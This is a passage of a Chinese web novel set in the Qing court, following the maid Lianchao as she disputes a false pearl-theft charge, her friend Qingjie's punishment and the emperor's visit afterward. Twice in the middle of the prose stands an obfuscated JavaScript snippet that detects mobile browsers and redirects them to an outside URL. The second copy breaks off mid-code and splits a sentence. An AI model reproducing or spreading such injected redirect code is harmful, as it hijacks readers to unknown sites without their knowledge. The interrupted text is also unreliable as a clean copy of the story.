连朝的手紧紧扣着地毯,绵软,尚能支撑躯体的晕眩。她轻轻喘了口气,接着问,“张谙达一口认定,我偷的是东珠。东珠何等尊贵,帝后所用,我纵然有要显摆的心思,拿寻常珍珠即可,非转不过弯来,要去拿万岁爷的东珠,御前衣物皆有定例,送到四执库也要当面查验交割清楚。敢问慎刑司提过御前尚衣的所有人么?我一个小小宫女,来御前不过一月,竟是有通天的本事,买通一群人,就为了偷一颗东珠镶嵌在鞋面上。花大价钱,大精神,去干一件僭大越且不管家里人识不识货的大不敬之事,谙达觉得,是不是太痛快,太不要命,太没有脑子?” 她不给张存寿反驳的机会,撑着一口气继续逼问,“我既然已经费劲心机干了一件这么不要命的大事,好不容易拿到了东珠,胆大包天的我却忽然胆小起来,害怕被人发现,把东珠给了庆姐。庆姐是衣服上人,也看不出这不是寻常珍珠而是万岁爷御用的东珠,还兴高采烈地把它镶嵌在自己的鞋面上,大摇大摆去见家人。奴才愚笨,私以为一切要能顺理成章,且张谙达与贵主子深信不疑,一定有一个必然条件 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提起头花儿,不知怎的,张存寿竟感觉皇帝的脸色愈发显而易见地阴了些许。一时之间,众人都没有说话。皇帝当场目光落在她的盘髻上,简易又常见的款式,落在看惯了精工细作的人的眼里,有种刺剌剌的突兀。 皇帝忽然很想伸手把她头上簪的花儿扔了。 搭在袍子上的手攥了又攥,平复下心情,刚欲说话,连朝却已抢先一步,深深泥首,“奴才奉命做活计,将蓝宝石嵌在万岁爷的帽子上,因贪心,私藏了颗蓝宝石,替换到头花上,金珠子也是奴才自己攒的。奴才认罪,领罚。” 她再度重复了一遍,“请万岁爷责罚。” 皇帝终于闭上了眼。 张太监在旁得意地“哼”了一声,“万岁爷,这丫头偷窃成风,有一回,难免没下回。万岁爷,贵主子,如果纵容这次,宫中纲纪何在呀!” 不必皇帝,贵妃一道凌厉的眼风扫过去,张存寿便立时噤声,一句话也不敢说了。 贵妃转而向皇帝叩首,“万岁爷,此事是奴才思量欠妥,回去一定狠狠罚他。方才她辩解,奴才以为不无道理,但是御前丢了东西是大事,奴才会亲自盯着督查,奴才向万岁爷保证,不会不分青红皂白逼迫宫人,囫囵了事。” 皇帝眼底有微薄的笑意,惯常如此。明明是笑着说话,你看着他的眼睛,却似深水渊潭,丝缕生寒。 皇帝瞧一眼赵有良,赵有良便会意,取过慎刑司管事太监呈上来的证物,仔细比对过,“嗨呀”一声笑了,“了不得,误会了!这哪儿是东珠,东珠朝珠都是成串,帽顶都交内库,不散不落。这分明是大一些的珍珠。” 贵妃抿紧了唇。 皇帝照旧蔼然笑着,“东珠素来供皇后所用,皇贵妃亦无权僭越。贵妃未近身见过,又素来秉持公心,认糊涂了,何错之有。” 皇帝虚伸出手,却落在远远的地方,“起来说话。” 18. 亥时二刻 两边有宫人扶着,高高的花盆底,贵妃起得艰难。在一众奴才面前没了脸,一瞬间只觉得心灰意冷。又不敢坐,便垂手侍在一旁站着,口中应,“是奴才不仔细。” 皇帝说不碍,“赐贵妃东珠一斛,这程子你劳心费神,后宫的事,让静、瑞二嫔跟着打理,你自己也会轻便些。” 贵妃后背发凉,战战兢兢地敬谢圣恩。却后两步,领着张太监一干人,退将出去了。 皇帝唇畔的笑,这才随着天色转暗,慢慢地落下来。 的确到上灯的时候。一潮人无声无息地走,哪里还敢继续盘问。一潮人亦无声无息地来,静默地点亮养心殿暖阁的各个角落,半明半灭的间隙,连皇帝的脸都有些模糊。 庆姐与连朝仍跪在地上,皇帝点了管事太监,“偷盗东珠一事,既是误会,不必深究。但司衣宫女,庆姐,毕竟有私存珍珠,里外授受,添不安本分,夸耀卖弄之嫌。” 管事太监忙点头,“万岁爷圣明天鉴。” 皇帝又喝了口茶,才说,“但先帝三年国丧未除,朕不忍宫中动添板箸。减三年例银,罚入辛者库充役吧。” 连朝惶然抬起头,赵有良低嗽一声,才知道这是冒犯天颜。庆姐轻轻握住她的手,已对皇帝叩头,“奴才有罪,主子爷宽宏,奴才叩谢圣恩。” 皇帝似乎看穿她心中所想,定定问,“至于宫女,连朝。你告诉朕,宝石与金珠子,是你偷的么?” 她咬唇,轻轻闭上眼,再度伏身下去,庆姐一不做二不休,出声要替她担罪,“是奴才一并拿的——” 话尚说了一半,她已经中道截断,“是奴才自己偷的。万岁爷给的蓝宝石是赵谙达送来的,只给了奴才一人,与庆姐等人无干。” 室内寂闭,龙涎香与灰尘扬散,令人窒闷。皇帝的神色生冷,不知怎的,竟似松了口气,隐约流露出些子倦意。连看也不再看她了。 管事太监见此颇为为难,战战兢兢地回话,“主子爷,宫女偷窃,应杖十五,逐出宫去,永不复用。” 皇帝说,“滚出去。” 赵有良只好硬着头皮打圆场,“姑娘太刚直,又说错话儿了。那一颗蓝宝石,是万岁爷打发姑娘做帽子的利市,金珠子谁没几颗呀,后宫的娘娘们,赏人还送金瓜子儿呢。都是误会,闹这么大一场,是奴才话传得糊涂,连带两边对账也糊涂了。请主子爷恕罪。” 管事太监再不懂也清醒了,御前赵总管发话,主子爷要保的人,还谈什么祖宗家法。便连忙磕了头,稳步退出去了。 几日水米进得少,强撑精神到现在,连朝再无多少力气。只听皇帝静默了许久,才淡淡发话,“你是非要讨个罚才快活,是么?” 她的头一阵阵发晕,刚刚挺身而出的气性压制的惊惶此刻如潮水般涌来,令人肩头发颤。 “万岁爷每日躬读圣训,奴才耳濡目染,只是服从祖宗家法。奴才愚钝,请问万岁爷,匹夫无罪,怀璧其罪。身怀美玉,就该死吗?众口铄金,积毁销骨,罪字在顶,没有权力为自己争一个公道,求一场清白的人,就该死吗?” 她跪在那里,连身姿都显得固执要命。 皇帝说不出话来,闭上了眼,似乎不愿看她。额角跳动,连通肺腑,在她的质问里竟如钝匕剜心,刀刀见血,不留丝毫余地。 他并没有回答她的问题。 只在漫长的、几令人窒息的沉默的间隙,自鸣钟“嗒”、“嗒”,连续不断,从未停歇,无情地在盘面上划掉一段时间。 皇帝眉眼之间有显而易见的倦色,“下去吧。” 赵有良要带她走,她在这盖顶的沉默里以手加眉,再度深深泥首在皇帝的脚踏前。 “奴才言辞冲撞,巧言令色,搬弄是非。请万岁降罪。” 皇帝沉沉的目光,看住她,声音却虚无缥缈,好似虚的,“你口口声声,有罪当罚,你想用自己定谁的罪,罚的是谁?” 她抬起头,看着皇帝。 皇帝避开了她的眼,似乎在回避盛夏里灼热的日光,哪怕它平等地照在每个人的身上。 “现在,滚回去思你的过,不要再出来现眼。” 庆姐半搀着人,起身出去了。他的余光,只看得见一张寡白的脸。 东暖阁彻底亮堂起来,赵有良却觉得头顶乌黑,更不敢开口,躬身侍立于侧。 皇帝无意摩挲着手头扳指,语气沉沉,“御前有心思不正的人,头一个是你的罪过。后宫有挑唆起事的东西,去查是徇私还是有怨,留着这些人,朕看你就不必留。” 赵有良连忙说是,已有人挑帘子,眼见敬事房的孙进襄在外头候传,常泰先回话,“主子爷,承德园子里的有福请万岁主子安。” 皇帝说,“传进来。” 常泰引有福进暖阁,赵有良便悄悄退出去,拦住孙进襄,又朝正吃力地往门边走的二人努了努嘴,“今儿积份功德,带着你的猴儿崽子们,赶快麻利地走吧!” 孙进襄也跟着看过去,身影十分熟悉。秋风起来身上凉,马上就到阖宫上下换秋衣的时候,单薄的衣衫毕竟难抵。孙进襄揶揄着问,“怎么,前一阵不是闹着要你背么,这么快就吃挂落,被赶出去了?” 赵有良压着手摆了摆,“新鲜!神仙斗法凡人遭殃,得,谁吃挂落还不一定呢。今儿我是吃了满打满,你不信邪,你自己进去,也吃一拳。” 孙进襄敬佩地竖起大拇哥,“动手打人啦?” 赵有良觉得提点他简直是白搭,没好气道,“全打我头上了!我给慎刑司那孙子装孙子,痛快得很!你要不也痛快痛快?” 孙进襄忍笑忍得艰难,麻溜地祝他几句好,带着手底下的太监们,拐弯儿向围房叫散去了。 道儿上遇见那两个宫女子,互相搀扶着往榻榻里走。孙进襄只顾往前走,斥小太监们,“不长眼的在这里现眼,回去把眼珠子送给赵谙达,就有你们交差!” 庆姐隐约听见,原本在絮絮说话,扭头认清是敬事房的,没理会,又转过头来扶着她抹眼泪,“我的姑奶奶,你怎么那么梗哪!一个张太监就不是好种,你又问贵主子,又指万岁爷,你知不知道我要吓死了!” 连朝艰难地抿唇,抚上她手背,“端居其上者,只消三言两句,甚至轻飘飘地一句话,就可以随意定下是非。那么今日怎样?你觉得痛快吗?愿意在慎刑司受气,还是愿意在养心殿争口气?” 庆姐咬牙,“愿意争口气!横竖是打板子、被罚出去。不如把该骂的都骂个痛快,累死总比气死强!” 连朝“哧”地笑了,早无和她细究根底的心思,“恕我说一句不好听的,你嘴太直,无意间得罪人,自己心里还糊涂。我不打紧,就只怕辛者库并不是个好去处,那是看不着、没王法的地方。是我没用,让你稀里糊涂到那里,没个人支应,等开冬怕更为难。” 庆姐说,“我有你们呢。”说着嗐声叹气,眼见榻榻就在前头,胡乱抹了把眼泪,“珠子的确是我拿的,人做事当事,有人嫉妒,下套害我,就说明我够威风,狠狠气了她们,我没什么后悔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810057|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。牵连你们往慎刑司走几天,双巧……我真是什么事也做不好,对不住她。” 她们一前一后迈进廊子,再转个弯,就是她们的榻榻。 起风了,两个人低声说着话,猛然抬头,就见双巧与瑞儿两个站在门边,肘弯上挂着厚一些的袍子,急忙迎上来,又是哭,又是拜菩萨,“阿弥陀佛,去了那么久,真吓人!” 说着给她们围上,“御前好留,要是回不来,我也什么都不怕,拼将上去,讲一回道理!” “瑞儿,倒热茶。” 庆姐撒了手,哪里顾得上喝茶,虎抱着双巧便是一阵抹眼泪,“巧儿啊!我可又见着你了!你真是菩萨!谢谢菩萨!” 连朝接过瑞儿递来的茶,瑞儿歪身坐在她边上,见双巧大骇,一边推她,又怕力气使大了,看见她手心的伤,心疼得要骂人,鼻涕眼泪一阵乱流,忍无可忍骂了句,“撒开手!没和你在阎王殿聚首,你可别咒我!” 连朝和瑞儿哈哈大笑。 屋子里还是暖和的,庆姐抽噎着埋怨,“慎刑司,就是鬼门关!嘶,手疼啊!那群忘八东西,吃了狗屎没处使,下那么重的手!我呸!” 双巧大抵是觉得问她问不出什么,用滚水浇热茶杯,让庆姐捧在手里缓一缓,复来问连朝,“我们还好,只在慎刑司关了几日,吃住上不如意些。就苦你们,别躲!看看手,怎么红肿成这样!” 庆姐在一旁附和,“她还撑在地上,”说着把杯子囫囵滚给她,“快敷敷。只求别留疤,保全手就好了!” 双巧叹了口气,又重新去冲个新杯子,边走边说,“不晓得得罪了谁。闹了这么大一场事。他们不顾及名声,都说什么偷东西,偷东西。珠子不是你让小冯从外头买来的么?花了大价钱,叫谁瞧去眼酸,你平日又直混,里应外合,什么时候把你算计去了你还不晓信!” 瑞儿忙安慰,“都平安过去了,就别提了。” 双巧忽然想起来,“那书——” 连朝原本还笑着,被她这么一警醒,顿时心头慌了慌,又不忍让她们再担心,只囫囵说,“慎刑司带人来搜屋子,张太监连我的珠花儿都不肯放过,若是找到那书还得了?只怕我今日就不能全须全尾地回来了。姐姐们放心吧,就算闹到御前,也没人问我书的事儿。” 四个人惊魂未定,茶喝了一半还不及,就听见外头有响动。是马太监亲自领人在门外,清了清嗓子,拌混着风声,“庆姐,收拾好东西,走了!” 双巧与瑞儿都骇然看着庆姐。 庆姐笑着去归包袱,其实没什么东西,从柜子里翻出几身衣裳,一些碎银子,带一双便脚的鞋。平日攒下来的钗环、头花、首饰,她都不由分说地塞到另外三人手里,“带着些太重,带过去也没人看,还得防着被偷了、抢了。便宜她们,不如便宜你们强。我这一去,就不知道什么时候回来了。哎呀,要是有人睡我的铺盖,你们对她可不能越过我,让我知道了,我饶不了你们!” 双巧皱眉,“你去哪里?” 庆姐眨眨眼,“当然是去当娘娘啦!” 双巧懒得和她废话,“连朝,你实话跟我说。” 庆姐偏身拦在连朝面前,“你别威风她。外头人等着,我也不能耽搁了。” 她说着哽咽起来,扭过头又不想被看着流眼泪,“我的确从宫外带东西进来,是有错。被打发到辛者库,是我该!不想告诉你,是怕丢人。你非要问,你别质问她,我告诉你。你要看着我们平常还算姊妹,你送送我,我不想一个人走。” 19. 亥时三刻 双巧气道,“满养心殿,不,满宫里,谁敢举起手发赌咒说自己没打宫外带过东西。不然小冯那式样人有一口饭吃?就说告你的,有胆子你们尚衣的全提溜出来一个个问,大家都不清不楚,糊涂油蒙了心肝的东西来害别人,敢情自己清白得很!大家都是慎刑司走一遭出来的人,我也不怕。走!现在就上御前去,既然都不想有活路,就谁也别清白!” 庆姐甩开她的手,眼泪不争气地大颗大颗滚落到衣襟,一片斑驳。马太监不耐烦地催,“冒着大凉风,自己个儿混帐别带累别人,好了没有,好了就走!磨磨唧唧啰啰嗦嗦!” 庆姐吸了吸鼻子,什么话也没说,提着包袱往外走。连朝再去劝这个,劝那个,早没了精神。强撑着匀气,悄悄儿对瑞儿说,“劝劝你姐姐。”也顾不得那么多,开柜子找了件厚实点的袍子,先前小翠包的一些药膏并碎银子,急匆匆跟出去了。 先给马太监请万福,递上银子,软和说,“让谙达劳神等这么久,真不该。是同屋里住了这么些时日,一时之间绊住,小小心意,请谙达回头喝杯茶。” 马太监“哼”一声,不情不愿地接下,打前儿先走,袍子飒飒地响,傲慢地吩咐,“跟着。” 连朝先前出来多带了些银子,拉着庆姐的手,说了一日的话,早已口干舌燥,还是不愿落下一句,“到辛者库那样的地方,什么首饰是越少越好。你若信我,我替你收柜子,要紧的先交个可靠的朋友,把你素日耿直不饶人的性子,要仔细收一收了。我要是得闲,多多地去看你,就是怕你带的大衣裳不够,” 她苦着脸,“现在就这样冷,往后一日日往冬天走,衣裳单薄,换洗不来,就要命了。” 庆姐按了按她的手,“你保全我到这里,很够了。走一步看一步,天无绝人之路。要是真有,就拼个你死我活来——” 她话说到一半,原本很感伤,却笑了,“呸呸呸!好姑娘,咱们好一场,不说什么死呀活呀的。” “就是双巧,”庆姐抿唇,低下头,“临了了,还惹她生回气,真管不住我这张嘴!该打!” 眼见快转过墙根,马太监站住脚,转过身说,“按理,你得给主子磕头。但是你犯了错,万岁爷跟前是去不得了。就在这里谢恩吧。” 庆姐不敢违逆,说是。连朝便站在一边,见她提袍跪下去,斜侧着对养心门行叩首大礼。夜色中的殿宇肃穆庄严,重重侍卫把守,面上皆无表情。 她忽然想起她第一次迈进这里,是内务府的于荣光领着她,仿佛也是在此时不差的光景,又或者她是踩着最后一缕余晖进去。 庆姐起身,马太监继续领人往前走,要越过大半个紫禁城,到达北三所,还有很长一段路。庆姐抹把眼泪,劝连朝,“你别跟着我走了。你回去歇着。往后别来找我。你们都好好的。” 连朝亦滚下泪来,“我送送你,我再送一程。” 马太监已经催,“走不走啊?你还要送,你跟她一起去得了,甭回来!” 话说到此,再无转圜之机。 连朝只得顿住步子,目送她背着青缎包袱,沿着长阶往北走。才发现她是这样小的一个人。 平常见她嗓门大,爱热闹,不觉总把她想得高大,如今才发现,她原来是这么小的一个人啊。 角门那头匆匆跑来个太监,连朝仔细辨认,发觉是御前的福保,正气喘吁吁地叫住马太监,“站着,留人!” 马太监点头哈腰道好,“福谙达,好啊?怎么自己个儿跑一趟,不嫌累得慌?” 福保问,“是名叫庆姐不是?” 马太监说是,“偷了东西,发到辛者库去呢。” 福保说,“不去了。主子给的恩典,念在伺候日久,没有功劳,也有苦劳,将功折罪,改发到颐和园老贵主子处当差。” 马太监不可思议,“哟,升发了。那可是个好去处啊。” 福保懒得与他多费口舌,转对庆姐,“东西收拾好,现在就出宫。不必去万岁爷跟前磕头了。” 相较于辛者库,去颐和园伺候贵太妃,已然算是个很好的去处了。 庆姐与连朝皆松了一口气,彼此看着,不禁笑了出来。连朝握紧她的手,竟有种绝境逢生的欣喜,“贵太妃人和善,我进宫时,在她位下学过规矩,你此番能去,请代我替怹老人家问安磕头。” 福保适时地说,“快去吧!” 马太监百无聊赖地领人回去,榻榻门前隐约有两个人,不必想都知道是双巧和瑞儿。连朝不忙往回走,笑着见她们三个携手一齐进榻榻,才对福保郑重地道了吉祥,“多谢谙达。” 福保摆手,也笑了,“可甭谢我。姑娘进去谢一谢万岁爷,这可是亲口开发的恩典。” 连朝却抿嘴,轻轻摇了摇头,“谙达别打趣我,我是诚心想谢人。” 福保带着她往角门那边望,低声说,“常谙达让我给姑娘带句话,将将儿万岁爷见了承德园子里来的有福,是那位谙达在主子跟前说情——怹老人家一生,伺候过仁宗爷、先帝,算今儿三朝的人了。万岁爷是个念旧情的人,这才开慈悲答应。但姑娘想想,万岁爷是什么人哪,前朝行事果决,若没有心念,真因为一个老太监三言两语就变了主意,那就不是当今了。” 连朝只当不懂,“我得多谢那位有福谙达。” 福保叹口气,摇摇头,“那姑娘就在这儿等着吧!”说话便进去了。 果真不过片刻,角门里慢慢地走出个太监,连朝看定,连忙迎上去,试探着叫了一声“福谙达?” 有福醒过神,将她看了看,笑着说,“我不认得姑娘。” 连朝说,“庆姐,我是她朋友。多谢谙达在御前说情,免她去辛者库受苦。请谙达受我一拜。” 有福仔细地看着她。 五十余岁的人,目光微有混浊之意,总归还是明亮的。他褪去脸上原有的谦卑,腰杆因为常年佝偻难以挺直,却放眼,又回头看了看这养心殿。 他前言不搭后语,“认识小翠么?” 连朝心念微动,低眉摇头,“不认得。但是宫中叫小翠的人很多。谙达问哪一位。” 有福哈哈大笑,“是啊,宫里永远不缺叫小翠的人。我如你们这么大的时候,也在这里伺候,转眼都离开好多年了,墙、柱子,还是旧模样,要是在外头家里,三年五载的,人事一变更,早就什么都没了。” 有福温和地看着她,“姑娘就当我是报恩吧。” 连朝轻轻问,“报恩?” 有福骄傲地说是啊,“报一位小翠姑娘的恩。她与你的朋友一样,都是衣帽上的。她还有个朋友叫绵绵,是茶水上的。有年冬天很冷,我伺候仁宗爷回来,是小翠给我一杯热茶,那滋味,我得记着一辈子!” 他的帽子两侧,黑发混着白发,一起在夜色中郁葱。 “打她们出宫,好多年没见着,也没什么音信。万岁爷想见见旧人,小太监熬巴成了老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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连朝温顺地抿了几口水,肚子咕咕叫了下,十分赧然,吞水下去才缓和一些,瑞儿说,“真是饿着了。有没有很想吃的,我替你端来。”又叹口气,“慎刑司受了苦了。” 连朝道,“咱们都从慎刑司走了一遍,姐姐也辛苦。” 她顿了顿,望向庆姐的铺位,瑞儿也看过去,“已上园子去,东西都收走了。她不放心你,给你留了好些东西,双巧都替你收在柜子里。双巧也在值,拜中堂来请安,万岁爷赏饭,热闹得很。今儿就我闲,想吃什么,我来伏侍你。” 连朝其实很想吃一碗热热的米粥,什么都不用加,忽然馋得很。却想已过午晌,又是君臣相宴,哪里好烦人细细煮什么米粥?便笑着说,“有什么吃什么,辛苦姐姐走一趟。我真是饿。” 瑞儿说好,把笸箩拿下炕,整理过袍子上的褶皱,笑盈盈说,“等一等。”便扭身出门,往膳房去了。 困意又上来,累坏了的人睡不够。屋子里偏只有她一个人。连朝伏在软枕上往外头看,透过纱窗,隐约能看见一痕瓦蓝的天,闭上眼,兴许还能听见树叶沙沙的声响。 这令人想起幼时随祖母在南方过的秋天。 天气的转变往往在几阵急雨之间,等枝叶间的蝉鸣不断拉长,拉长得断断续续,歇斯底里,纷纷黄叶仍风雨,冗长的夏天,就这般迅疾无声地流过去。 手上红肿未消,打得狠的地方破了皮,只能搭在床沿。她便侧身伏在炕上,迷迷糊糊地,也不知过了多久,头脑昏昏。忽而听见极轻的靴声,挺括衣袍的窸窣声,手心便觉得凉丝丝的,安抚着内里高肿的燥郁。 她轻轻睁开眼,看清楚是谁,就要缩回手,皇帝却将她指尖虚攥住,挑棒轻轻一压,她不由“嘶”了一声,他却眉目平和,沉声说,“别动。” 20. 亥时四刻 也许在午歇的时候,皇帝入秋服香色的暗团龙纹袍,因替她上药,马蹄袖挽出月白。她执意要缩回手,固执地说,“万岁爷万金之躯,不该来此。我的朋友出门去了,片刻就会回来。请您松手。” 挑子涂在红肿之处,配来的药膏里有薄荷,薄薄敷上一层,泛起清凉。皇帝眉心微蹙,一手上药,一手定下她掌心,肌肤之间有所触碰,察觉到一人手凉,一人手热,两下里宛如煎熬。 皇帝不紧不慢睨她一眼,“不想让人瞧见,就不要胡来。” 他声音沉笃,“不聪明则愚,聪明过头则迫,两样都不好。心里澄明,故意捏着度讨人厌,更不好。” 连朝勉强稳定心神,在榻榻里歇着只穿了单薄的缣衣,她往毯里隐了些,才硬声说,“宫女们无端被牵连偷盗,情急之下惟有拼一个理字。顾不得什么聪明不聪明,能保全一条命,就是幸事,能体面地保全一条命,就是聪明。” 皇帝把挑子放在一边,慢慢将药膏盖上,才道,“贵妃让张存寿来拿人,你的主子是御前,是朕。被带到慎刑司,你铁骨铮铮,不肯认错。张存寿教唆着打板子,你见那庆姐与你一同受罚,才肯牵扯进朕。你明有办法可以让自己少受些苦,张存寿来拿人时你并非如你所言,进退绝境。究竟是你不知,还是不愿用,朕不想知道。” 皇帝声音益发冷,“那么,去慎刑司有多少将计就计,真是被逼无奈么?你满口刚正,却认他人之罪。是想死,还是知道自己死不了,想走?” “你又怎么料定,被认作祸由,众口铄金,还能保全性命,得偿所愿。” 连朝再不说话了,一时情急,伏在榻上低低地咳嗽。倒教他在余怒里叹了口气,“喝水不喝?” “不渴。” 皇帝见她形容羸弱,这几日磋磨得人清瘦三分,额上汗珠细细,便袖帕子放在她枕畔,板着脸道,“打了些手板,自己找来,该。” 淡淡的龙涎香,御用衣袍皆以龙涎熏沐,形影不离。她忽而偏过头,问,“那您呢,您又是为什么纡尊降贵?因为高坐在上观蜗角争斗很有趣?因为当年阅选我坏了您的事?还是就像看猫儿狗儿,觉得很新鲜?” 皇帝气极反笑,毫不留情地伸手,在她额上叩了个爆栗,她吃痛,没法子拿手挡,皱起眉头。皇帝道,“因为你胡思乱想,因为你胆大妄为,不识天高地厚,让朕十分失望。” 她悻悻地,“真对不住,您一早提点过不要在您跟前现眼,奴才又现眼了。” 皇帝“哼”了一声,“所以朕自己来瞧瞧了。” 她问,“那您看到什么了?” 皇帝垂眼打量她,似乎在仔细审视她的眉目。 “看到个有孤勇的人。看到个有心思的人。看到个嘴十分硬,心十分坚,有胆识,有小智,有恃无恐又虚张声势。” 他伸手拿起帕子,若即若离地,拭去她因为久睡而沁出的薄汗,香烘浓浥,气味如同烟雾,时隐时现地重叠。 “我时常会想起那天晚上。” 他的眼里带着显而易见的探究,“究竟是我将你护在身后,还是你握住了我的手。” “你以行动告诉我,你是如何地爱人。如何地,哪怕豁去性命,为一个相识不过月余的所谓‘朋友’。” 他问,“值得吗?” 她想也没想就即刻给了他答案,“值得。” 皇帝静静地看着她。 而她清亮的眼睛,带着探究,普天之下,无人敢直视天子,她却看着他,在他袍袖隐约之间,如清泉流泻。 “万岁爷圣明烛照,知道我的为人。我从来不是个好人。更不是您想象的,什么美好的,善良的,温良恭俭让的,宽容的,忍耐的。我不是,我通通都不是。所以如果您需要找一个寄托,最好适可而止。” 皇帝蓦地笑了,将帕子收回袖里,很不可思议,“你不光爱写朕用金片子屙屎,也很爱给自己脸上贴金。” 他不置可否,“你在我面前,谈什么因果。” 一定要因为一个人具有某种美德,才值得被注视吗?一定要因为她白玉无瑕,符合一切美的、善的标准,才值得被珍重吗? 他以前于此,从未深究。 好像历来都是这样。 太姒徽音,太任大德。有娀氏的女子声名远播,诞下商的祖先契。班姬辞辇,许后奉案,一言一行合乎矩度,成为后世的典范,挂在东西六宫的墙壁上。 皇帝最终落下定论,“朕看你是写那些什么神君万岁爷误人,把人写糊涂了。” 连朝静默下来,彼此有一段沉静的无言,却并不觉得难堪。惟见尘灰四伏,秋光烂漫,居室磊落朗阔,岁月温容流过,的确是怡人的时节。 皇帝也未料想,自己会说这样一番话。平定下来暗自斟酌,一时之间心绪芜乱,安静得呼吸可闻。 末了只是肃起神色,说,“宫制绢花所用纱绫,与外头不同。就算远看,形态亦有差异。那枝头花,以后不要再戴。” 连朝直声说,“万岁爷赏下的那枚头花,是奴才自己贪面子,镶上宝石与金珠,小小宫女,不敢僭越,以后一定收藏供奉,再不会轻易簪戴。” 皇帝深深地看着她,彼此心中都气恼,她也不避讳,竟似对峙一般,皇帝到底移开眼,拂膝起身欲走,不料看见搁在一旁的针线笸箩,里边搁着张花样子,仿佛是帽子的图样。 他似乎总算松了口气,声音还是生硬的,“去木兰之前,全须全尾的。宫里太闷人,上承德去看看吧。” 不到一刻钟,瑞儿便提着篮子回来了。见她手上已经攃了药,惊讶道,“怎么自己个儿攃药。一定是疼起来难受,都怪我,去了这么久。” 说着打开食盒,一层一层拿出来,“真新奇。我往茶膳房去,原以为都是些油腻荤腥的大菜,正愁拿些什么给你好。谁想到他们正煨着玉粳米粥,说早晨万岁爷点名要进,不知怎的又撤下来,我想着你会爱吃清淡的,给你弄了一盅,还有些酱菜呀、小馒首,你配着吃。” 连朝轻轻道谢,那米粥香得勾人,瑞儿笑着取调羹,一口一口喂她吃,倒教她赧然,“偏劳姐姐,我自己也能吃。” 瑞儿说,“都已经成这样,千万别逞能。我素日不爱说话,咱们四个好一场,我心里却明白。笨嘴拙舌,不像她们热闹,能用着我的时候,互相帮衬,这是应该的。” 连朝又道谢,粥喝了一碗,又劝瑞儿自己也尝一碗,瑞儿说什么也不肯,“你病着,我还分你的吃食,这叫什么?” 连朝便说,“我尝着觉得咸了,这会子口干,想喝水。姐姐你试试,是不是咸了。还是我病着,把味道都病坏了?” 瑞儿这才将信将疑吃了一勺,连朝温和地笑道,“御田米进上难得,今日托姐姐的运气,我也能吃上一碗,已经很足够了。姐姐为我折腾半日,很是劳碌,请也吃一些吧。” 她不欲再往此上纠结,顺势问她别的,“我刚才就看见你针线做了一半儿,花样子很新奇,姐姐做什么呢?” 瑞儿“噢”了一声,将那笸箩端过来给她看。对着天光,真是顶小帽子。 她心念动了动,却听瑞儿道,“储秀宫静主子身边的使唤丫头小朵儿,是我选进来时候一间屋子里说话的。静嫔主子养了只京巴,这几日不晓得起什么兴,要给京巴爷爷做顶官帽子。她辈分小,被姑姑们把活分下来,拆了改,改了拆,怎么做都不如意。我想我闲着帮她做一个,就当打发时间了。” 瑞儿看她表情奇怪,像是想起什么,想笑又笑不出来,末了却变成又愧疚又绷着嘴角的笑,十分好奇,“怎么了?” 连朝说没什么,却无端想起皇帝那张脸,头上顶着个小小的京巴帽子,偏生还是一本正经,十分生气又略带三分疑惑地问她,“你不是还在写什么神君万岁爷,写糊涂了吧!” 忽然一激灵,也顾不上疼,用手背往榻榻靠墙的夹层探了探,之前藏书的位子空落落的,她瞬间便醍醐灌顶。 于是咬着牙说 ,“京巴爷爷当真是属狗的,一眼就相中了这顶帽子,配!太配了。” 对瑞儿笑,“姐姐把样子借我抄抄吧,我刚好也要做顶帽子。就做个一模一样的,才算物归原主,全始全终。” 皇帝不知为何,连嗽了两声,赵有良连忙敬茶,皇帝却没理会,将头偏过去,继续由尚衣的宫人服侍更衣。 过了午晌,下午要往慈宁宫陪太后看戏。赵有良给领头的宫女使个颜色,意思是小心着伺候,便耷拉下头,无声无息地退出东暖阁。 常泰在外头候着,赵有良看着他就来气,常泰乐孜孜凑上来热乎地叫了句师父,“您吉祥!” “吉祥你个大头菜!” 赵有良瞪他一眼,捏起调子幽幽叹了口气,“你伺候得好,你进去伺候吧。主子爷如今是不待见我了,明儿咱们换个过,我的帽子你来戴,好也不好?” 常泰连忙赔笑说,“咱们要是一群猴子,谙达您就是猴儿里的大王 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常泰听得一愣一愣的,欲要把前因后果再回思一遍,他师傅已经板着脸,在他帽子檐狠狠地敲了记响的,“记住了!少言多思!今儿我教你最后一回,往后要自己会想。我是一肚子委屈,没人说。便宜你听来,管住你的嘴,那一位的事,我劝你也别管了。不是咱们煞得住的,别连带自己吃挂落,仙人斗法你遭殃,你就回家哭你娘去吧!” 常泰点头哈腰,“嗳,嗳。我带师父受累,往后再不敢了。” 赵有良招招手,让福保过来问法驾备得如何,间隙里对常泰说,“进去伺候吧,要出来给个信,我在外头。” 等圣驾被簇拥着出养心门,过长街往慈宁宫,天顶上的太阳正是最烈的时候。虽然经过了几场秋雨,该热起来的时候也不含糊。皇帝下辇,越过慈宁门,大广场上的地砖被照得刺眼。几个宫女正由乌嬷嬷带着,张罗着要给花房新进的各色菊花装天棚。 太后在西暖阁窗下坐着,皇帝转进去扫袖子问安,老太太才坐直身子叫起来,看形容不大高兴。 皇帝在另一边炕上坐下,斟酌着赔笑道,“额捏顺遂安康。儿子昨日见了承德园子里的人,已收拾得很妥当了。初八日就出门,咱们今年在热河过中秋。松鹤斋敞亮开阔,历来为太后所居,额捏若喜欢,儿子就让人照您起居习惯,把屋子添好,若是有别的中意之处,儿子立时叫人传话过去,照着规制布置,一切以额捏舒适畅快为宜。” 